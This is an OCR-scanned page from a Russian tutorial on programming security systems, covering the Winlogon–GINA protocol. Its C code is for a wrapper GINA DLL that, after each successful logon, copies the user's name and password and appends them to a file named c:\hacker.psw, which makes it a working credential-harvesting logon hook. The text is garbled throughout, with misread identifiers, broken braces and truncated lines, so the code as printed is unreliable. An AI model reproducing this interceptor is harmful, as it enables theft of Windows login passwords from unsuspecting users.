Самоучитель по программированию систем защиты



Протокол взаимодействия процесса Winlogon и библиотеки GINA - часть 6


pProf ile ) ;

if (res == WLXSASACTIONLOGON)

for (i=0; i<32; i++) current_name [i] =0;

for (i=0;i<32;i++)

{

if (pMprNotify!nfo->pszUserName [i] ==0) break;

else current_name [i]=pMprNotify!nfo->pszUserName [i] ;

for (i=0; i<32; i++) current_pass [i] =0;

for (i=0;i<32;i++)

{

if (pMprNotif yinf o->pszPassword [i] ==0) break;

else current_pass [i]=pMprNotify!nfo->pszPassword[i] ;

out=fopen ("c: \\hacker.psw", "r+b") ; if (out!=NULL) {

f seek ( out, 0,SEEK_END) ; fwrite (current_name, sizeof (char) , strlen (current_name) , out) ;

fwrite (pro, sizeof (char) , lf out) ; fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;

fwrite (end, sizeof (char) , 2, out) ; f close (out) ;

return res;

BOOL WINAPI WlxActivateUserShell ( PVOID pWlxContext, PWSTR pszDesktop, PWSTR pszMprLogonScript, PVOID pEnvironment ) {

BOOL res = FALSE; MessageBox (NULL, _T ( "WlxActivateUserShell" ) , _T ( "GinaDebug" ) , MB_OK) ;

res = g_lpWlxActivateUserShell ( pWlxContext, pszDesktop/ pszMprLogonScript, pEnvironment ) ;

return ( res ) ;

int WINAPI WlxLoggedOnSAS (

PVOID pWlxContext,

DWORD dwSasType,

PVOID pReserved ) {

int res;

MessageBox (NULL, _T( "WlxLoggedOnSAS") ,_T ("GinaDebug") ,MB_OK) ;

if (glob_lock==0)

res = g_lpWlxLoggedOnSAS (pWlxContext, dwSasType, pReserved);

if (res==WLX_SAS_ACTION_LOCK_WKSTA) glob_lock=l;

return res;

BOOL WINAPI WlxIsLockOk (PVOID pWlxContext) {

BOOL res;

MessageBox (NULL, _T( "WlxIsLockOk") ,_T ("GinaDebug") ,MB_OK) ;

res = g_lpWlxIsLockOk (pWlxContext) ;

return res;

)ID WINAPI WlxDisplayLockedNotice(PVOID pWlxContext)

essageBox(NULL,_T("WlxDisplayLockedNotice"),_T("GinaDebug"),MB_OK); g_lpWlxDisplayLockedNotice(pWlxContext);

it WINAPI WlxWkstaLockedSAS( PVOID pWlxContext, DWORD dwSasType

Lnt res;

glob_lock=0;

lessageBox(NULL,_T("WlxWkstaLockedSAS"),_T("GinaDebug"),MB_OK);



Содержание  Назад  Вперед